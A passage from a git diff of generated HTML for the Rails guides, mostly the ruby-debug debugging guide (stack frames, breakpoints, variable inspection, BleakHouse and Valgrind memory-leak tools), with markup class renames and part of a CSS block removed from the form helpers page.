10 format.xml { render :xml =&gt; @posts }</tt></pre>
</div></div>
-<div class="para"><p>If you repeat the <tt>list</tt> command, this time using just <tt>l</tt>, the next ten lines of the file will be printed out.</p></div>
+<div class="paragraph"><p>If you repeat the <tt>list</tt> command, this time using just <tt>l</tt>, the next ten lines of the file will be printed out.</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:7) l
@@ -657,11 +476,11 @@ continue edit frame method putl set tmate where</tt></pre>
19 respond_to do |format|
20 format.html # show.html.erb</tt></pre>
</div></div>
-<div class="para"><p>And so on until the end of the current file. When the end of file is reached, the <tt>list</tt> command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.</p></div>
+<div class="paragraph"><p>And so on until the end of the current file. When the end of file is reached, the <tt>list</tt> command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.</p></div>
<h3 id="_the_context">3.3. The Context</h3>
-<div class="para"><p>When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.</p></div>
-<div class="para"><p>ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.</p></div>
-<div class="para"><p>At any time you can call the <tt>backtrace</tt> command (or its alias <tt>where</tt>) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then <tt>backtrace</tt> will supply the answer.</p></div>
+<div class="paragraph"><p>When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.</p></div>
+<div class="paragraph"><p>ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.</p></div>
+<div class="paragraph"><p>At any time you can call the <tt>backtrace</tt> command (or its alias <tt>where</tt>) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then <tt>backtrace</tt> will supply the answer.</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:5) where
@@ -675,18 +494,18 @@ continue edit frame method putl set tmate where</tt></pre>
at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
...</tt></pre>
</div></div>
-<div class="para"><p>You move anywhere you want in this trace (thus changing the context) by using the <tt>frame <em>n</em></tt> command, where <em>n</em> is the specified frame number.</p></div>
+<div class="paragraph"><p>You move anywhere you want in this trace (thus changing the context) by using the <tt>frame <em>n</em></tt> command, where <em>n</em> is the specified frame number.</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:5) frame 2
#2 ActionController::Base.perform_action_without_filters
at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175</tt></pre>
</div></div>
-<div class="para"><p>The available variables are the same as if you were running the code line by line. After all, that's what debugging is.</p></div>
-<div class="para"><p>Moving up and down the stack frame: You can use <tt>up [n]</tt> (<tt>u</tt> for abbreviated) and <tt>down [n]</tt> commands in order to change the context <em>n</em> frames up or down the stack respectively. <em>n</em> defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.</p></div>
+<div class="paragraph"><p>The available variables are the same as if you were running the code line by line. After all, that&#8217;s what debugging is.</p></div>
+<div class="paragraph"><p>Moving up and down the stack frame: You can use <tt>up [n]</tt> (<tt>u</tt> for abbreviated) and <tt>down [n]</tt> commands in order to change the context <em>n</em> frames up or down the stack respectively. <em>n</em> defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.</p></div>
<h3 id="_threads">3.4. Threads</h3>
-<div class="para"><p>The debugger can list, stop, resume and switch between running threads by using the command <tt>thread</tt> (or the abbreviated <tt>th</tt>). This command has a handful of options:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The debugger can list, stop, resume and switch between running threads by using the command <tt>thread</tt> (or the abbreviated <tt>th</tt>). This command has a handful of options:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>thread</tt> shows the current thread.
@@ -713,17 +532,17 @@ continue edit frame method putl set tmate where</tt></pre>
</p>
</li>
</ul></div>
-<div class="para"><p>This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.</p></div>
+<div class="paragraph"><p>This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.</p></div>
<h3 id="_inspecting_variables">3.5. Inspecting Variables</h3>
-<div class="para"><p>Any expression can be evaluated in the current context. To evaluate an expression, just type it!</p></div>
-<div class="para"><p>This example shows how you can print the instance_variables defined within the current context:</p></div>
+<div class="paragraph"><p>Any expression can be evaluated in the current context. To evaluate an expression, just type it!</p></div>
+<div class="paragraph"><p>This example shows how you can print the instance_variables defined within the current context:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>@posts = Post.find(:all)
(rdb:11) instance_variables
["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]</tt></pre>
</div></div>
-<div class="para"><p>As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using <tt>next</tt> (you'll learn more about this command later in this guide).</p></div>
+<div class="paragraph"><p>As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using <tt>next</tt> (you&#8217;ll learn more about this command later in this guide).</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:11) next
@@ -733,13 +552,13 @@ Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
/PathToProject/posts_controller.rb:8
respond_to do |format|</tt></pre>
</div></div>
-<div class="para"><p>And then ask again for the instance_variables:</p></div>
+<div class="paragraph"><p>And then ask again for the instance_variables:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:11) instance_variables.include? "@posts"
true</tt></pre>
</div></div>
-<div class="para"><p>Now <tt>@posts</tt> is a included in the instance variables, because the line defining it was executed.</p></div>
+<div class="paragraph"><p>Now <tt>@posts</tt> is a included in the instance variables, because the line defining it was executed.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -748,7 +567,7 @@ true</tt></pre>
<td class="content">You can also step into <strong>irb</strong> mode with the command <tt>irb</tt> (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.</td>
</tr></table>
</div>
-<div class="para"><p>The <tt>var</tt> method is the most convenient way to show variables and their values:</p></div>
+<div class="paragraph"><p>The <tt>var</tt> method is the most convenient way to show variables and their values:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>var
@@ -757,13 +576,13 @@ true</tt></pre>
(rdb:1) v[ar] i[nstance] &lt;object&gt; show instance variables of object
(rdb:1) v[ar] l[ocal] show local variables</tt></pre>
</div></div>
-<div class="para"><p>This is a great way to inspect the values of the current context variables. For example:</p></div>
+<div class="paragraph"><p>This is a great way to inspect the values of the current context variables. For example:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:9) var local
__dbg_verbose_save =&gt; false</tt></pre>
</div></div>
-<div class="para"><p>You can also inspect for an object method this way:</p></div>
+<div class="paragraph"><p>You can also inspect for an object method this way:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:9) var instance Post.new
@@ -779,16 +598,16 @@ true</tt></pre>
<td class="content">The commands <tt>p</tt> (print) and <tt>pp</tt> (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.</td>
</tr></table>
</div>
-<div class="para"><p>You can use also <tt>display</tt> to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.</p></div>
+<div class="paragraph"><p>You can use also <tt>display</tt> to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:1) display @recent_comments
1: @recent_comments =</tt></pre>
</div></div>
-<div class="para"><p>The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use <tt>undisplay <em>n</em></tt> where <em>n</em> is the variable number (1 in the last example).</p></div>
+<div class="paragraph"><p>The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use <tt>undisplay <em>n</em></tt> where <em>n</em> is the variable number (1 in the last example).</p></div>
<h3 id="_step_by_step">3.6. Step by Step</h3>
-<div class="para"><p>Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.</p></div>
-<div class="para"><p>Use <tt>step</tt> (abbreviated <tt>s</tt>) to continue running your program until the next logical stopping point and return control to ruby-debug.</p></div>
+<div class="paragraph"><p>Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.</p></div>
+<div class="paragraph"><p>Use <tt>step</tt> (abbreviated <tt>s</tt>) to continue running your program until the next logical stopping point and return control to ruby-debug.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -797,9 +616,9 @@ true</tt></pre>
<td class="content">You can also use <tt>step+ <em>n</em></tt> and <tt>step- <em>n</em></tt> to move forward or backward <em>n</em> steps respectively.</td>
</tr></table>
</div>
-<div class="para"><p>You may also use <tt>next</tt> which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move <em>n</em> steps.</p></div>
-<div class="para"><p>The difference between <tt>next</tt> and <tt>step</tt> is that <tt>step</tt> stops at the next line of code executed, doing just a single step, while <tt>next</tt> moves to the next line without descending inside methods.</p></div>
-<div class="para"><p>For example, consider this block of code with an included <tt>debugger</tt> statement:</p></div>
+<div class="paragraph"><p>You may also use <tt>next</tt> which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move <em>n</em> steps.</p></div>
+<div class="paragraph"><p>The difference between <tt>next</tt> and <tt>step</tt> is that <tt>step</tt> stops at the next line of code executed, doing just a single step, while <tt>next</tt> moves to the next line without descending inside methods.</p></div>
+<div class="paragraph"><p>For example, consider this block of code with an included <tt>debugger</tt> statement:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -817,8 +636,7 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> limit
<span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -839,7 +657,7 @@ Loading development environment (Rails 2.1.0)
/PathTo/project/app/models/author.rb:11
)</tt></pre>
</div></div>
-<div class="para"><p>With the code stopped, take a look around:</p></div>
+<div class="paragraph"><p>With the code stopped, take a look around:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:1) list
@@ -853,14 +671,14 @@ Loading development environment (Rails 2.1.0)
12 end
13 end</tt></pre>
</div></div>
-<div class="para"><p>You are at the end of the line, but&#8230; was this line executed? You can inspect the instance variables.</p></div>
+<div class="paragraph"><p>You are at the end of the line, but... was this line executed? You can inspect the instance variables.</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:1) var instance
@attributes = {"updated_at"=&gt;"2008-07-31 12:46:10", "id"=&gt;"1", "first_name"=&gt;"Bob", "las...
@attributes_cache = {}</tt></pre>
</div></div>
-<div class="para"><p><tt>@recent_comments</tt> hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the <tt>next</tt> command to move on in the code:</p></div>
+<div class="paragraph"><p><tt>@recent_comments</tt> hasn&#8217;t been defined yet, so it&#8217;s clear that this line hasn&#8217;t been executed yet. Use the <tt>next</tt> command to move on in the code:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:1) next
@@ -872,12 +690,12 @@ Loading development environment (Rails 2.1.0)
@comments = []
@recent_comments = []</tt></pre>
</div></div>
-<div class="para"><p>Now you can see that the <tt>@comments</tt> relationship was loaded and @recent_comments defined because the line was executed.</p></div>
-<div class="para"><p>If you want to go deeper into the stack trace you can move single <tt>steps</tt>, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.</p></div>
+<div class="paragraph"><p>Now you can see that the <tt>@comments</tt> relationship was loaded and @recent_comments defined because the line was executed.</p></div>
+<div class="paragraph"><p>If you want to go deeper into the stack trace you can move single <tt>steps</tt>, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.</p></div>
<h3 id="_breakpoints">3.7. Breakpoints</h3>
-<div class="para"><p>A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.</p></div>
-<div class="para"><p>You can add breakpoints dynamically with the command <tt>break</tt> (or just <tt>b</tt>). There are 3 possible ways of adding breakpoints manually:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.</p></div>
+<div class="paragraph"><p>You can add breakpoints dynamically with the command <tt>break</tt> (or just <tt>b</tt>). There are 3 possible ways of adding breakpoints manually:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>break line</tt>: set breakpoint in the <em>line</em> in the current source file.
@@ -890,7 +708,7 @@ Loading development environment (Rails 2.1.0)
</li>
<li>
<p>
-<tt>break class(.|#)method [if expression]</tt>: set breakpoint in <em>method</em> (. and # for class and instance method respectively) defined in <em>class</em>. The <em>expression</em> works the same way as with file:line.
+<tt>break class(.|#)method [if expression]</tt>: set breakpoint in <em>method</em> (. and \# for class and instance method respectively) defined in <em>class</em>. The <em>expression</em> works the same way as with file:line.
</p>
</li>
</ul></div>
@@ -899,22 +717,22 @@ Loading development environment (Rails 2.1.0)
<pre><tt>(rdb:5) break 10
Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10</tt></pre>
</div></div>
-<div class="para"><p>Use <tt>info breakpoints <em>n</em></tt> or <tt>info break <em>n</em></tt> to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.</p></div>
+<div class="paragraph"><p>Use <tt>info breakpoints <em>n</em></tt> or <tt>info break <em>n</em></tt> to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:5) info breakpoints
Num Enb What
1 y at filters.rb:10</tt></pre>
</div></div>
-<div class="para"><p>To delete breakpoints: use the command <tt>delete <em>n</em></tt> to remove the breakpoint number <em>n</em>. If no number is specified, it deletes all breakpoints that are currently active..</p></div>
+<div class="paragraph"><p>To delete breakpoints: use the command <tt>delete <em>n</em></tt> to remove the breakpoint number <em>n</em>. If no number is specified, it deletes all breakpoints that are currently active..</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>(rdb:5) delete 1
(rdb:5) info breakpoints
No breakpoints.</tt></pre>
</div></div>
-<div class="para"><p>You can also enable or disable breakpoints:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>You can also enable or disable breakpoints:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>enable breakpoints</tt>: allow a list <em>breakpoints</em> or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
@@ -927,11 +745,11 @@ No breakpoints.</tt></pre>
</li>
</ul></div>
<h3 id="_catching_exceptions">3.8. Catching Exceptions</h3>
-<div class="para"><p>The command <tt>catch exception-name</tt> (or just <tt>cat exception-name</tt>) can be used to intercept an exception of type <em>exception-name</em> when there would otherwise be is no handler for it.</p></div>
-<div class="para"><p>To list all active catchpoints use <tt>catch</tt>.</p></div>
+<div class="paragraph"><p>The command <tt>catch exception-name</tt> (or just <tt>cat exception-name</tt>) can be used to intercept an exception of type <em>exception-name</em> when there would otherwise be is no handler for it.</p></div>
+<div class="paragraph"><p>To list all active catchpoints use <tt>catch</tt>.</p></div>
<h3 id="_resuming_execution">3.9. Resuming Execution</h3>
-<div class="para"><p>There are two ways to resume execution of an application that is stopped in the debugger:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>There are two ways to resume execution of an application that is stopped in the debugger:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>continue</tt> [line-specification] (or <tt>c</tt>): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
@@ -944,8 +762,8 @@ No breakpoints.</tt></pre>
</li>
</ul></div>
<h3 id="_editing">3.10. Editing</h3>
-<div class="para"><p>Two commands allow you to open code from the debugger into an editor:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Two commands allow you to open code from the debugger into an editor:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>edit [file:line]</tt>: edit <em>file</em> using the editor specified by the EDITOR environment variable. A specific <em>line</em> can also be given.
@@ -958,11 +776,11 @@ No breakpoints.</tt></pre>
</li>
</ul></div>
<h3 id="_quitting">3.11. Quitting</h3>
-<div class="para"><p>To exit the debugger, use the <tt>quit</tt> command (abbreviated <tt>q</tt>), or its alias <tt>exit</tt>.</p></div>
-<div class="para"><p>A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.</p></div>
+<div class="paragraph"><p>To exit the debugger, use the <tt>quit</tt> command (abbreviated <tt>q</tt>), or its alias <tt>exit</tt>.</p></div>
+<div class="paragraph"><p>A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.</p></div>
<h3 id="_settings">3.12. Settings</h3>
-<div class="para"><p>There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>set reload</tt>: Reload source code when changed.
@@ -984,7 +802,7 @@ No breakpoints.</tt></pre>
</p>
</li>
</ul></div>
-<div class="para"><p>You can see the full list by using <tt>help set</tt>. Use <tt>help set <em>subcommand</em></tt> to learn about a particular <tt>set</tt> command.</p></div>
+<div class="paragraph"><p>You can see the full list by using <tt>help set</tt>. Use <tt>help set <em>subcommand</em></tt> to learn about a particular <tt>set</tt> command.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -993,7 +811,7 @@ No breakpoints.</tt></pre>
<td class="content">You can include any number of these configuration lines inside a <tt>.rdebugrc</tt> file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.</td>
</tr></table>
</div>
-<div class="para"><p>Here's a good start for an <tt>.rdebugrc</tt>:</p></div>
+<div class="paragraph"><p>Here&#8217;s a good start for an <tt>.rdebugrc</tt>:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>set autolist
@@ -1003,37 +821,36 @@ set listsize 25</tt></pre>
</div>
<h2 id="_debugging_memory_leaks">4. Debugging Memory Leaks</h2>
<div class="sectionbody">
-<div class="para"><p>A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.</p></div>
-<div class="para"><p>In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.</p></div>
+<div class="paragraph"><p>A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.</p></div>
+<div class="paragraph"><p>In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.</p></div>
<h3 id="_bleakhouse">4.1. BleakHouse</h3>
-<div class="para"><p><a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> is a library for finding memory leaks.</p></div>
-<div class="para"><p>If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.</p></div>
-<div class="para"><p>To install it run:</p></div>
+<div class="paragraph"><p><a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> is a library for finding memory leaks.</p></div>
+<div class="paragraph"><p>If a Ruby object does not go out of scope, the Ruby Garbage Collector won&#8217;t sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.</p></div>
+<div class="paragraph"><p>To install it run:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>sudo gem install bleak_house</tt></pre>
</div></div>
-<div class="para"><p>Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:</p></div>
+<div class="paragraph"><p>Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'bleak_house'</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">'BLEAK_HOUSE'</span><span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>Start a server instance with BleakHouse integration:</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'bleak_house'</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">'BLEAK_HOUSE'</span><span style="color: #990000">]</span></tt></pre></div></div>
+<div class="paragraph"><p>Start a server instance with BleakHouse integration:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server</tt></pre>
</div></div>
-<div class="para"><p>Make sure to run a couple hundred requests to get better data samples, then press <tt>CTRL-C</tt>. The server will stop and Bleak House will produce a dumpfile in <tt>/tmp</tt>:</p></div>
+<div class="paragraph"><p>Make sure to run a couple hundred requests to get better data samples, then press <tt>CTRL-C</tt>. The server will stop and Bleak House will produce a dumpfile in <tt>/tmp</tt>:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>** BleakHouse: working...
** BleakHouse: complete
** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.</tt></pre>
</div></div>
-<div class="para"><p>To analyze it, just run the listed command. The top 20 leakiest lines will be listed:</p></div>
+<div class="paragraph"><p>To analyze it, just run the listed command. The top 20 leakiest lines will be listed:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt> 191691 total objects
@@ -1049,17 +866,17 @@ http://www.gnu.org/software/src-highlite -->
834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
...</tt></pre>
</div></div>
-<div class="para"><p>This way you can find where your application is leaking memory and fix it.</p></div>
-<div class="para"><p>If <a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.</p></div>
+<div class="paragraph"><p>This way you can find where your application is leaking memory and fix it.</p></div>
+<div class="paragraph"><p>If <a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> doesn&#8217;t report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.</p></div>
<h3 id="_valgrind">4.2. Valgrind</h3>
-<div class="para"><p><a href="http://valgrind.org/">Valgrind</a> is a Linux-only application for detecting C-based memory leaks and race conditions.</p></div>
-<div class="para"><p>There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls <tt>malloc()</tt> but is doesn't properly call <tt>free()</tt>, this memory won't be available until the app terminates.</p></div>
-<div class="para"><p>For further information on how to install Valgrind and use with Ruby, refer to <a href="http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/">Valgrind and Ruby</a> by Evan Weaver.</p></div>
+<div class="paragraph"><p><a href="http://valgrind.org/">Valgrind</a> is a Linux-only application for detecting C-based memory leaks and race conditions.</p></div>
+<div class="paragraph"><p>There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls <tt>malloc()</tt> but is doesn&#8217;t properly call <tt>free()</tt>, this memory won&#8217;t be available until the app terminates.</p></div>
+<div class="paragraph"><p>For further information on how to install Valgrind and use with Ruby, refer to <a href="http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/">Valgrind and Ruby</a> by Evan Weaver.</p></div>
</div>
<h2 id="_plugins_for_debugging">5. Plugins for Debugging</h2>
<div class="sectionbody">
-<div class="para"><p>There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://github.com/drnic/rails-footnotes/tree/master">Footnotes</a>: Every Rails page has footnotes that give request information and link back to your source via TextMate.
@@ -1094,7 +911,7 @@ http://www.gnu.org/software/src-highlite -->
</div>
<h2 id="_references">6. References</h2>
<div class="sectionbody">
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://www.datanoise.com/ruby-debug">ruby-debug Homepage</a>
@@ -1112,17 +929,17 @@ http://www.gnu.org/software/src-highlite -->
</li>
<li>
<p>
-<a href="http://railscasts.com/episodes/54-debugging-with-ruby-debug">Ryan Bate's ruby-debug screencast</a>
+<a href="http://railscasts.com/episodes/54-debugging-with-ruby-debug">Ryan Bate&#8217;s ruby-debug screencast</a>
</p>
</li>
<li>
<p>
-<a href="http://railscasts.com/episodes/24-the-stack-trace">Ryan Bate's stack trace screencast</a>
+<a href="http://railscasts.com/episodes/24-the-stack-trace">Ryan Bate&#8217;s stack trace screencast</a>
</p>
</li>
<li>
<p>
-<a href="http://railscasts.com/episodes/56-the-logger">Ryan Bate's logger screencast</a>
+<a href="http://railscasts.com/episodes/56-the-logger">Ryan Bate&#8217;s logger screencast</a>
</p>
</li>
<li>
@@ -1149,8 +966,8 @@ http://www.gnu.org/software/src-highlite -->
</div>
<h2 id="_changelog">7. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
<li>
<p>
November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by <a href="../authors.html#miloops">Emilio Tagua</a>
@@ -1169,7 +986,7 @@ September 16, 2008: initial version by <a href="../authors.html#miloops">Emilio
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/form_helpers.html b/railties/doc/guides/html/form_helpers.html
index 7ff4a13a6a..a43cbe584f 100644
--- a/railties/doc/guides/html/form_helpers.html
+++ b/railties/doc/guides/html/form_helpers.html
@@ -1,245 +1,139 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Rails form helpers</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
